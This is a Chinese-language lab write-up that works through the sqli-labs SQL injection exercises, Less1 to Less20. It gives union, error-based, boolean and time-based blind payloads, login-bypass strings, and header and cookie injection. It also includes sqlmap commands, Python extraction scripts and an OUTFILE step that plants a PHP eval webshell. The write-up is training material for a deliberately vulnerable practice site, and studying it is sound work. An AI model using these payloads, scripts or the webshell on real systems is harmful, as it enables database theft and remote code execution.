一.UNION注入
1.1Less1
- 按照要求分别输入1,2,3,4,观察页面情况
- 尝试加上’ 发现报错 可能存在sql字符型注入
- 构造1’ --+ 发现页面正常访问
- 尝试判断字段数,并且爆出显示位置
1' union select 1,2,3 --+
- 查询数据库
' union select 1,2,database()--+
- 查询表名
' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)--+
- 查询字段名
' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="users" limit 0,1) --+
- 查询数据
' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from users) --+
1.2Less2
- 利用 1 or 1=1–+ 和 1 or 1=2–+ 可以判断出 为数字型注入
- 具体做法和上题一样 只是将字符型转为数字型
1 union select 1,2,3 --+
- 查询数据库
500 union select 1,2,database()--+
- 查询表名
500 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)--+
- 查询字段名
500 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="users" limit 0,1) --+
- 查询数据
500 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from users) --+
1.3Less3
-
源码分析
-
闭合方式出现变化(’$id’) 从这里可推出所要构造的闭合
-
所以在尝试注入时也要注意闭合方式
500') union select 1,2,3 --+
- 查询数据库
500') union select 1,2,database()--+
- 查询表名
500') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)--+
- 查询字段名
500') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name="users" limit 0,1) --+
- 查询数据
500') union select 1,(select group_concat(username) from security.users),(select group_concat(password) from users) --+
1.4Less4
- 源码分析
- 同Less3,注意闭合的方式
500") union select 1,2,3 --+
- 查询数据库
500") union select 1,2,database()--+
- 查询表名
500") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)--+
- 查询字段名
500") union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1) --+
- 查询数据
500") union select 1,(select group_concat(username) from security.users),(select group_concat(password) from users) --+
二.报错注入
2.1Less5
- 页面传入不同的id值,返回的页面相同,排除union注入
- 传入 id = 3’ 页面出现报错 怀疑是报错注入
- 报错注入获取数据库用户代码
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
- 获取数据库
' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
- 获取表名
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)--+
- 获取字段名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="emails"),0x7e),1) --+
- 获取数据
' and updatexml(1,concat(0x7e,concat((select group_concat(id) from emails),(select group_concat(email_id) from emails)),0x7e),1) --+
- 结果
2.2Less6
- 页面传入不同id值 尝试id = 1’ 页面返回情况不变
- 尝试id = 1" 页面报错 所以可以用"构造闭合去尝试报错注入
" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
- 获取数据库
" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
- 获取表名
" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
- 获取字段名
" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e),1) --+
- 获取数据
" and updatexml(1,concat(0x7e,concat((select group_concat(id) from emails),(select group_concat(email_id) from emails)),0x7e),1) --+
2.3 Less7
kali自带sqlmap扫一下
root@kali:~# sqlmap -u "http://192.168.1.102/sqli-labs-master/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
得到payload:
1') AND (2621)=2621 AND ('UrSZ'='UrSZ
- 猜测闭合方式为’)) --+
页面依然返回You are in… Use outfile…(知识盲区,学一下)
outfile
- outfile是将检索到的数据,保存到服务器的文件内:
- 格式:select * into outfile “文件地址”
- 实例:
SELECT * INTO OUTFILE '/tmp/result.text' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n' FROM test_table;
- 因为页面没有返回数据库的数据,报错的内容也被修改了,正常的union注入和报错注入返回不了信息,尝试用上面提到的outfile
')) union select 1,database(),user() into outfile "E:\100.txt"--+
- 页面报错报错,查找E盘并没有发现写入的文件
- 看了一下大佬的博客,能否导入导出文件是由参数secure_file_priv决定的
- 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时(null值),表示不对mysqld 的导入|导出做限制
- 在自己的phpstudy环境的配置文件mysql.ini中的mysqld下添加secure_file_priv参数或修改参数,重启phpstudy
- 验证是否修改成功
- 接下来利用outfile去导出文件 给payload:
- 查找数据库
')) union select 1,2,database() into outfile "E:\database.txt"--+
- 获取表名
')) union select 1,2,table_name from information_schema.tables where table_schema="security" into outfile "E:\Table_name.txt"--+
- 获取字段名
')) union select 1,2,column_name from information_schema.columns where table_name="users" into outfile "E:\users.txt"--+
- 获取用户信息
')) union select id,username,password from users into outfile "E:\information.txt" --+
或者
')) union select * from users into outfile "E:\information.txt" --+
- 结果
webshell
- 在大牛的博客里看到了
'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "E:\info.php"--+
- 将<?php phpinfo();?>写入info.php文件,将文件放在php该页面文件的目录下就访问
http://127.0.0.1/sqli-labs-master/Less-7/info.php
得到php的信息
- 还可以写入webshell利用<? php @eval($_GET['cmd']);?>以php代码的方式执行上传的cmd参数
?id=1')) union select "<?php @eval($_GET['cmd']);?>",2,3 into outfile 'D:/phpstudy_pro/WWW/sqli-labs-master/Less-7/HHH.php' --+
?cmd=phpinfo();必须有;
三.布尔+时间注入
3.1 Less8
解法一:outfile
- 和less7基本一样,闭合的方式发生变化,
- 先用id=1 id=1’ id=1" 发现id = 1’报错
- 接着 id = 1’ and 1=1–+ 页面返回正常 所以闭合为’
- 后面的注入方式与less7一样
解法二:burpsuit+布尔盲注
- 这道题目的标题是 Blind-Boolian 尝试一些布尔盲注
- id=1’ 会发生报错但是上面都不返回 所以不能用普通的union注入 但是可以像上个解法一样把类容写入文件
- 判断数据库长度 当8的时候页面正常返回You are in…9的时候没有返回,所以数据库名长度为8
1' and length(database())>=9--+
- 使用逐字符判断的方式获取数据库名称,可以用burpsuit爆破加快获取速度,得到数据库名称为security
1' and substr(database(),1,1)='t'--+
- 用相同的方法去获得表名、字段名.
1' and substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)='e' --+
解法三 编写python脚本
简单写了一个爬数据库名的脚本
import sys
import requests
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789'
#数据库名称
DBname = ''
url="http://127.0.0.1/sqli-labs-master/Less-8/?id=1'"
def getDBlen():
print("-------------判断数据库长度-----------")
# db_length -- 数据库名称长度
for db_length in range(1,10):
db_url=url+"and length(database())=%d--+"%(db_length)
#向url对应的服务器发送相应的get请求,获得对应的响应
r=requests.get(db_url,'get')
if 'You are in.....' in r.text: # r.text返回的字符串
print(db_url)
print('猜测结束')
break
else:
pass
pass
print('数据库名长度:%d'%(db_length))
return db_length
pass
def getDBname():
print("------------猜测数据库名称-----------")
for i in range(1,DBlen+1):
for j in payloads:
# 数据库名的每一位遍历payloads得出数据库名称
db_url=url+"and substr(database(),%d,1)='%s'--+"%(i,j)
r=requests.get(db_url,"get")
if 'You are in.....' in r.text:
global DBname
DBname = DBname + j
pass
else:
pass
pass
pass
print('数据库名称为:%s'%DBname)
pass
DBlen=getDBlen()
getDBname()
运行结果
3.2 Less9
解法一:outfile
- 照例可以用outfile将数据写入文件 闭合方式为
1' union select 1,2,database() into outfile 'E:\test9.txt'
- 下面的做法跳过
解法二:时间注入
- 这道题与less8的差距在,less8题目中正常访问会显示’You are in…’ 失败则会无显示;而这道题中无论是否正常访问都会显示’You are in…’
- 所以选择用时间注入攻击 sleep()函数
if(length(database())>1,sleep(5),1) #如果数据库名长度大于1,则mysql查询休眠5s,否则查询1
- 尝试时间注入 如果数据库名称的第一个字母ascii值大于115正常访问,如果小于等于115则延迟5s
1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
- 判断当前数据库下的表的第一个字母
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101,sleep(5),0)--+
解法三:sqlmap
- sqlmap 跑一下
sqlmap -u "xxx.xxx.x.xxx/sqli-labs-master/Less9/?id=1" -D security -T users --dump
3.3 Less10
解法一:outfile
- 照例可以用outfile,闭合方式为"
解法二:手动注入
- 尝试时间注入 如果数据库名称的第一个字母ascii值大于115正常访问,如果小于等于115则延迟5s
1" and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
- 判断当前数据库下的表的第一个字母
1" and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101,sleep(5),0)--+
and if((select table_name from information_schema.tables where table_schema=database() limit 0,1)=%d,sleep(1),1)–+
解法三: python脚本
- 尝试了sqlmap跑失败了
- 自己尝试编写脚本跑一下,可以说编的毫无章法,下次尝试一下二分法
- 代码+运行结果
import sys
import requests
import time
import datetime
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789'
url = 'http://127.0.0.1/sqli-labs-master/Less-10/?id=1"'
# 数据库名称
DBname = ""
# 该数据库下表的个数
tb_num = 0
# 列表存放每个表的长度
tb_lenlist = []
def getDBlen():
print('---------------------判断数据库长度------------')
#db_length --数据库名长度
for db_length in range(1,20):
db_url=url+"and if(length(database())=%d,sleep(1),1)--+"%(db_length)
start_time = time.time()
r=requests.get(db_url,'get')
if (time.time() - start_time) >1: #判断正确的数据库长度
print('Database_length is:',db_length)
return db_length
break
else:
pass
pass
def getDBname():
print('------------------判断数据库名称----------------')
for i in range(1,DBlen+1):
for j in payloads:
db_url=url+"and if(substr(database(),%d,1)='%s',sleep(2),1)--+"%(i,j)
start_time = time.time()
r=requests.get(db_url,'get')
if (time.time()-start_time)>=2:
print(i,end=' ')
print(j)
global DBname
DBname = DBname + j
break
else:
pass
pass
print()
print('Database_name is:%s'%(DBname))
pass
def getTBlen():
print('---------------------判断表名称称长度---------------')
for i in range(15):
for tb_length in range(1,20):
tb_url=url+"and if((select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d,sleep(2),1)--+"%(i,tb_length)
start_time = time.time()
r=requests.get(tb_url,'get')
if(time.time()-start_time)>=2:
print("表名长度为%d"%(tb_length))
global tb_num
tb_num+=1
global tb_lenlist
tb_lenlist.append(tb_length) #在列表里追加表名长度
print(tb_lenlist)
pass
else:
pass
pass
pass
print("该数据库下总共有%d个表格"%(tb_num))
def getTBname():
print('------------------判断表名---------------------')
for i in range(tb_num): # 用前面得到的表数目遍历所有的表
print("第%d个表名为"%(i+1))
for j in range(1,int(tb_lenlist[i])+1): #遍历每个表名的每一个字母
for k in payloads: # 用payloads里面的每个字符去遍历表名的每个位置
db_url=url+"and if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)='%s',sleep(2),1)--+"%(i,j,k)
start_time=time.time()
r=requests.get(db_url,'get')
if(time.time()-start_time)>=2:
print(k,end='')
pass
pass
pass
print()
pass
pass
pass
DBlen = getDBlen()
getDBname()
getTBlen()
getTBname()
四.登录界面
4.1 Less11
解法一:union注入
-
页面
-
先看一下源码
-
是由username和password去获取数据库的信息的
-
这边给几种注入的方式
# 注释掉 passwd 来登录uname添加一个永真条件
uname=1' or 1=1#&passwd=123&submit=submit
uname=1' or 1=1--+&passwd=123&submit=submit
# 注释后面语句 并 添加一个永真条件
uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit
# 闭合后面语句 并 添加一个永真条件
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit
- 开始尝试获取数据库信息
# 获取表名
username: ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
password:123
#结果
# Your Login name:1
# Your Password:emails,referers,uagents,users
#获取字段名
uesername:' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
password:123
#结果
#Your Login name:1
#Your Password:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
#获取数据信息
username:' union select group_concat(username),group_concat(password) from users#
password:123
#结果
#Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
#Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
解法二:报错注入
# 获取数据库
username:' and updatexml(1,concat(0x7e,database(),0x7e),1)#
password:123
# 结果 XPATH syntax error: '~security~'
# 获取表名
username:' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
password:123
# 结果:XPATH syntax error: '~emails,referers,uagents,users~'
# 获取字段名
username:' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
password:123
# 结果:XPATH syntax error: '~USER,CURRENT_CONNECTIONS,TOTAL_'
# 获取数据
username:' and updatexml(1,concat(0x7e,left((select group_concat(username) from users),30),0x7e),1)#
password:123
# XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stu~'
username:' and updatexml(1,concat(0x7e,right((select group_concat(username) from users),30),0x7e),1)#
password:123
#XPATH syntax error: '~1,admin2,admin3,dhakkan,admin4~'
- 注意点最后XPATH显示的数据有限,通过right()和left()函数去拼接
解法三:sqlmap
- 先用burpsuit抓包 接着将抓到的包 导入到一个文件
- sqlmap -r sql/less11.txt -D security -T users --dump
- 运行结果
4.3 Less12
解法一:sqlmap
- 同less11
解法二:union注入
- 判断闭合方式为")
payload:
username:") union select group_concat(username),group_concat(password) from users#
password:123
- 结果
解法三:报错注入
- 和less11一样,闭合方式改变,直接给payload
username:1") and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#
password:123
4.4 Less13
- 这道题和前面两题的区别在于不返回登录信息,所以union注入失效了
- sqlmap方法照旧 可以使用时间注入和
报错注入
- 闭合方式’)
username:1') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#
password:123
4.5 Less14
- 同less13一样可以使用布尔注入、时间注入和报错注入
- 这里先用sqlmap解个题目,报错注入的话只要把闭合方式改为”就好了
sqlmap
- sqlmap 时间注入 --technique=T
sqlmap -r sql/less14.txt --dbms=mysql --technique=T -D security --table
因为是时间注入,会有点慢,上面是得到表名的sqlmap命令行
4.6 Less15
- less15和less16都把报错给注释了所以只能用布尔注入和时间注入
- 这里可以用sqlmap跑
- 有时间我自己写脚本跑一下 less15用布尔注入 less16用时间注入的脚本·
- 脚本只写到了爆表名 想要爆字段只需要在上面稍微改一下
import requests
import sys
# 获取数据库名长度
def getDBlen():
print('*****************判断数据库长度*************')
# db_length --- 数据库名长度 1493
for db_length in range(1,10):
payload="1' or length(database())=%d#"%(db_length)
data={'uname':payload,'passwd':'123','submit':'Submit'}
# print('payload:',payload)
r=requests.post(url,data=data)
length=len(r.text)
if length >1447:
print('Database length is %d'%(db_length))
return db_length
pass
pass
pass
# 尝试二分法获取数据库名称 使用ASCII码
def getDBname():
print('***************推出数据库名称************')
global dblength,dbname
for i in range (1,(dblength+1)):
Maxas=122
Minas=41
Midas =(41+122)//2 # 除法向下取整数
while Minas <= Maxas:
#1' or ascii(substr(database(),1,1))=115#
payload="1' or ascii(substr(database(),%d,1))>=%d#"%(i,Midas) #值大于mid
data={'uname':payload,'passwd':'123','submit':'Submit'}
# print('payload:',payload)
r=requests.post(url,data=data)
length=len(r.text)
# 判断数据库名称的i位是否大于当前的mid值如果大于则 将mid值设置位minas
if length > 1447:
Minas=Midas+1
Midas=(Minas+Maxas)//2
pass
else:
Maxas=Midas-1
Midas=(Minas+Maxas)//2
pass
pass
print('数据库名称的第%d位为:%s'%(i,chr(Midas)))
global dbname
dbname+=chr(Midas)
pass
pass
# 获取表的个数和长度
def getTBlen():
print('*****************判表的个数和表名长度*************')
# tb_length --- 数据库名长度
for i in range(15):
# tb_length --- 数据库名长度 1493
for tb_length in range(1,20):
# payload:1' or (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6#
payload="1' or (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d#"%(i,tb_length)
data={'uname':payload,'passwd':'123','submit':'Submit'}
#print('payload:',payload)
r=requests.post(url,data=data)
length=len(r.text)
if length >1447: # 1447为返回失败时候content-length
print('第%d个表'%(i+1))
print('Table length is %d'%(tb_length))
global tbnum
tbnum+=1
tblenlist.append(tb_length)
print(tb_length)
break
pass
pass
pass
# 获取
def getTBname():
print('***************推出表的名称************')
global tblenlist,tbnum
for i in range (tbnum):
tablename=''
for j in range(1,(tblenlist[i]+1)):
Maxas=122
Minas=41
Midas =(41+122)//2 # 除法向下取整数
while Minas <= Maxas:
#1' or ascii((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1))=101#
payload="1' or ascii((select substr(table_name,%d,1) from information_schema.tables where table_schema=database() limit %d,1))>=%d#"%(j,i,Midas) #值大于mid
data={'uname':payload,'passwd':'123','submit':'Submit'}
# print('payload:',payload)
r=requests.post(url,data=data)
length=len(r.text)
# 判断数据库名称的i位是否大于当前的mid值如果大于则 将mid值设置位minas
if length > 1447:
Minas=Midas+1
Midas=(Minas+Maxas)//2
pass
else:
Maxas=Midas-1
Midas=(Minas+Maxas)//2
pass
pass
print('第%d个表的第%d个字母为:%s'%((i+1),j,chr(Midas)))
tablename+=chr(Midas)
pass
tbname.append(tablename)
pass
pass
print('********************start*******************')
url="http://127.0.0.1/sqli-labs-master/Less-15/"
# 储存数据库长度
dblength=getDBlen()
# 储存数据库名称
dbname=''
getDBname()
print('数据库名称:',dbname)
# 储存表的个数
tbnum = 0
# 储存每个表的长度
tblenlist=[]
getTBlen()
# 储存每个表名
tbname=[]
getTBname()
print(tbname)```
### 4.7 Less16
### 4.8 Less17
##### 手动报错注入
- 访问页面上面显示**[PASSWORD RESET]** 密码重置
- 这道题有点挑战,我偷懒看了一下源码
- 里面有个check_input()函数,大概意思是如果value值不为空,则截取前15个字符,stripslashes()函数的作用是去除斜杠,但是get_magic_quotes_gpc()函数现在已经废除了,ctype_digit()函数判断value是否全为数字,如果不全是数字,则对其转义 SQL 语句中使用的字符串中的特殊字符,如果全为数字则去整数。
```php
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
- 代码中的注入点是$update上
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
- 尝试注入一下 这里注入点在update的password上 且必须知道一个用户名
- 第一步得到当前数据库名称
username:Dumb
password:1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
- 第二步得到表名
username:Dumb
password:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)#
- 第三步得到字段名
username:Dumb
password:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e),1)#
- 获取password 自闭了 获取失败
- You can’t specify target table for update in FROM clause含义:不能在同一表中查询的数据作为同一表的更新数据。
username:Dumb
password:1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)#
- 学习一下绕过的方式
- 双写select绕过Mysql的限制
- 在select外边套一层,让数据库认为你不是查同一表的数据作为同一表的更新数据:
username:Dumb
password:1'and updatexml(1,concat(0x7e,(select password from (select password from users where username="Dumb") mingzi ),0x7e),1)#
不如sqlmap
- 一个刚学来的小技巧
- 在知道注入点的情况 我们可以在注入点的后面加个* sqlmap会认为其实注入点
- 比如 password:123*
- sqlmap -r sql/less17.6.txt --dbms=mysql -D security -T emails --dump
Less18
- 这道题看了题目名称才有思路
- Header Injection已经说明很前面的题目不一样了 题目已经提示了注入点在User-Agent
- 先分析一下源码吧
- 这里获取了User-Agent 和 IP地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
- 这里对password和username都使用了前面的check_input()函数过滤
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
- 注入点在这里的$insert语句
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
- burpsuit抓包进行注入
- 将User-Agent一行改为User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
- 页面将会报错
- 在这里尝试注入 因为会报错所以可以尝试报错注入
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '#
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) and'#
Less19
- 先输入正确的账号和密码看看效果
- 页面返回了Referer信息,盲猜注入点在这里
- 尝试一下less18的注入
- 获取数据库名称
1' or updatexml(1,concat(0x7e,database(),0x7e),1) and'#
- 获取表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and'#
1' and updatexml(1,concat(0x7e,(select right(group_concat(column_name),30) from information_schema.columns where table_name='users'),0x7e),1) and'#
Less20
- hint:cookie 注入
-登录进去看看
- 这道题的注入点在
select * from users where username='$cookee' limit 0,1;
UNION注入
- 爆出字段数和显示位置
1' union select 1,2,3#
- 这个时候sql语句变为 两个select
select * from users where id='1' union select 1,2,3#
- 爆出表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 爆出字段名一定要加上数据库名称 血的教训 看一下对比
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
- 不加数据库名称的后果
- 爆出信息
1' union select group_concat(id),group_concat(username),group_concat(password) from users#